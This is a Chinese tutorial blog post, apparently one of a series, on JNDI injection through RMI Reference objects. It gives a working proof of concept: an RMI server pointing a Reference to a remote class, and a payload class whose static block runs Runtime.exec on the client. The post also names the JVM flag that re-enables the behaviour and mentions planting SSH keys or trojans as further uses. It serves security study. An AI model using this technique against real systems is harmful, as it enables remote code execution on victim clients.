2 JDNI注入:RMI Reference注入问题

一灰灰blogJavaJNDIJavaJNDIRMI约 1060 字大约 4 分钟

前面一篇介绍了基础的RMI的使用case JDNI注入:RMI基本知识点介绍 - 一灰灰Blogopen in new window,其中有说到客户端通过rmi访问server时,表现和我们常见的rpc也一致,客户端拿到代理执行的方法,也是在远程服务端执行的,怎么就存在注入问题呢?

接下来我们再来看一个知识点,RMI + Reference,利用反序列化来实现注入

1. Reference服务端使用姿势

区别于前面一篇rmi提供的远程接口访问方式,这里借助Refernce来实现,当客户单连接请求时,返回一个Class,当客户端拿到这个class并实例化时,实现我们预期的注入

服务器的实现与前面的大体相同,通过Registry起一个rmi服务,区别在于将之前的注册一个服务类改成注册一个Reference,如下

public static void main(String[] args) throws Exception {
    Registry registry = LocateRegistry.createRegistry(8181);
    
    Reference reference = new Reference("Inject", "Inject", "http://127.0.0.1:9999/");
    ReferenceWrapper wrapper = new ReferenceWrapper(reference);
    registry.rebind("inject", wrapper);
    
    System.out.println("服务已启动");
    Thread.currentThread().join();
}

注意上面的Reference的定义,三个参数

  • className:远程加载时所使用的类名;
  • classFactory:加载的class中需要实例化类的名称;
  • classFactoryLocation:远程加载类的地址,提供classes数据的地址可以是file/ftp/http等协议;

上面表示的是当客户端连接到这个rmi发起请求之后,会尝试从 http://127.0.0.1:9999/Inject.class 获取并加载class文件

接下来写一个简单的Inject类,在静态块中可以执行任何你想执行的代码

public class Inject {
    static  {
        System.out.println("hello world");
    }
}

启动一个简单的python服务器,这样可以直接通过网络加载这个class文件

python3 http.server -m 9999

这样一个支持代码注入的rmi服务器就搭建完成了;

2. 客户端实测

接下来看下客户单的访问姿势

public static void injectTest() throws Exception {
    // 使用JDNI在命名服务中发布引用
    Hashtable env = new Hashtable();
    env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
    env.put(Context.PROVIDER_URL, "rmi://127.0.0.1:8181");
    InitialContext context = new InitialContext(env);
    Object obj = context.lookup("rmi://127.0.0.1:8181/inject");
    System.out.println(obj);
}

当jdk版本较高时,会发现有下面这种提示,表示默认不允许读取远程的class文件

Exception in thread "main" javax.naming.NamingException [Root exception is java.lang.ClassCastException: Inject cannot be cast to javax.naming.spi.ObjectFactory]
	at com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:507)
	at com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:138)
	at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205)

我们先模拟一下注入的case,所以先将这个开关开上,直接在启动中添加下面这一行配置

-Dcom.sun.jndi.rmi.object.trustURLCodebase=true

接下来看一下执行结果

重点关注上面输出的hello world,这个输出实际上是在Inject类的静态方法中输出的,在客户端被执行了;

接下来我们模拟一下,直接唤起客户单本地应用的case,在Inject类中,实现一个打开计算器的功能(可以借助 Runtime)

public class Inject {
  static  {
    try {
      // mac 电脑用下面这个命令
      Runtime.getRuntime().exec("open -n /Applications/Calculator.app");
      // win 电脑用下面这个
      // Runtime.getRuntime().exec("calc")
    } catch(Exception e) {}
  }
}

接下来我们再来执行一下看看会发生什么,计算器是否会如期被唤起

a.gif
a.gif

看到上面这个的小伙伴可能会有疑问,不过是打开我的计算器,也没啥了不起的影响,但是请注意,上面这个Inject的静态类可以任由我们自己发挥

  • 如果你的客户端是linux,那么直接在~/.ssh/authorized_keys中写入黑客的公钥,这样就可以直接登录服务器
  • 直接下载木马、病毒在本机执行
  • ....

所以上面这个问题还是相当可怕的,幸好的是在Oracle JDK11.0.1, 8u191, 7u201, 6u211及之后的版本,trustURLCodebase这个配置默认是false,一般也不会有人特意去开启这个配置,所以问题不大

那么真的是问题不大么?且待后续博文

Loading...